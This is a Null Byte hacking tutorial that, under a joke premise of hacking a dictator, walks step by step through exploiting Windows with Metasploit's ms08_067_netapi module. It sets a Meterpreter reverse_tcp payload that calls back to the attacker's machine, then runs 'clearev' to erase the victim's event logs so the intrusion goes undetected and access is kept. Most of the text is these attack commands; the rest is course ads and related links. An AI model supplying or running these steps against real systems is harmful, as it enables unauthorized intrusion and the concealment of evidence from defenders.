Hack Like a Pro: How to Cover Your Tracks So You Aren't Detected « Null Byte :: WonderHowTo

Welcome back, my greenhorn hackers!Congratulations onyour successful hack that saved the world from nuclear annihilationfrom our little, bellicose, Twinkie-eating dictator. The rest of world may not know what you did, but I do. Good job!Now that we hacked into the malevolent dictator's computer and temporarily disabled his nuclear launch capability, we have to think about covering our tracks so that he and his minions can't track our good works back to us.So, in this hack, we will go into his computer again, implant the Meterpreter and remove any trace that we had been there from his log files. Let's fire upMetasploitand get to work on removing any evidence that we had ever been on the dictator's computer.Step 1: Compromise His System AgainLet's start withthe same hackwe used to get into the dictator's computer initially:exploit/windows/smb/ms08_067_netapiBut instead of using the VNC payload, we will load the Meterpreter payload. Type:msf> use exploit/windows/smb/ms08_067_netapiBefore we move on, let's learn a bit more about this exploit. Type:msf exploit(ms08_067_netapi) infoThis should bring a screenshot below that provides us with some basic information about this exploit. We can see that this hack exploits a parsing flaw in thenetapi dll. In this way, we can place our own payload on the system, which in this case is the Meterpreter.Now we load the payload by typing:msf exploit(ms08_067_netapi) set PAYLOAD windows/meterpreter/reverse_tcpNow that we have the exploit and payload set, we need to set the options. In this case, we need to set our LHOST (us, the attacker) and the RHOST (the victim, our belligerent dictator's computer) IP addresses. Simply type in the IP address of your computer and of his computer.Step 2: Take Control of His ComputerNow that we have everything set to take control, we just type:msf exploit(ms08_067_netapi) exploitIf we are successful, we should see a Meterpreter prompt on our screen. We now have total control of his system!At the meterpreter prompt, we now type:meterpreter > clearevAs you can see in the screenshot above, this command proceeds to clear the event logs on our bellicose dictator's computer so that he and his minions have no clue that we've ever been there. If we could see the event logs on his computer, we will see that all events have been cleared.This is critical both to protect our being found out, but also that we continue to have access to his computer. Once they know that someone has hacked his computer, it's likely they will take measures to prevent our returning to it.Now, make sure to come back for more hacking fun and games on our dictator's computer!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhotos byThe Guardian,Matthew Collingwood/ShutterstockRelatedHow To:Turn Pandora Likes into a Spotify PlaylistHow To:Use the guitar amp effect in Pro ToolsHow To:Repost Tracks to Populate Your Profile Stream on SoundCloudNews:The OnePlus 7 Pro's GPS Is So Much Better Than Other Phones Thanks to This Unique FeatureHow To:Group tracks in Pro Tools LENews:The Best Apps for Customized Cover Photos on Your Facebook TimelineHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow To:Force Restart Your iPhone 11, 11 Pro, or 11 Pro Max When It's Acting UpHow To:Use instrument tracks in Pro Tools LEVideo Roundup:Look at These Great Examples of What the ARKit Can Do on Your iPhoneHow To:Customize Your AirPods' Double-Tap or Long-Press Gestures to Make Them More UsefulHow To:The Fastest Way to Start a Workout with Google FitNews:Scandy Gives Tango Owners a Taste of 3D ScanningNews:Tango's Reach Is Being Limited by New Zenfone Exclusive to VerizonNews:Hackers Have 92% Success Rate Hacking Gmail on AndroidHow To:Add effects to your track when using Pro ToolsNews:Jeep's New AR Experience Lets You Interact with a Car That Isn't Actually ThereNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:What to Do if You Accidentally Liked a Photo on InstagramHack Like a Pro:How to Cover Your Tracks & Leave No Trace Behind on the Target SystemHow To:Hack Club Penguin for loads of money (03/22/09)How To:Edit drums in Logic ProNews:Apple's Ditching the 'Do Not Track' Option for Safari in iOS 12.2How To:Set Your Android to Atomic Time for a Perfectly Synced ClockHow To:Lay a vocal track using Logic Pro 7News:Former Microsoft Engineers Achieve Best Hand-Tracking Capabilities We've Seen for ARSafari 101:How to Ask Websites & Advertisers Not to Track Your Browsing ActivityHow To:Get Apple's 3D Touch Feature on AndroidNews:Unity Beta 2019.2 Adds Face, 2D & 3D Image Tracking to AR FoundationThe Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesPSA:Verizon's Shady 'DT Ignite' App Is Silently Installing Adware on PhonesHow To:Charge a Cell Phone on Train TracksHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:Edit drums in Digidesign Pro ToolsHow To:The Official Google+ Insider's Guide IndexNews:What does Pro Tools HD Native mean for you?Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:The 2010 World Cup is upon us.News:StreetRallyNews:Holiday Buildings, Train, Gypsy Horse Released and Unwither Ring!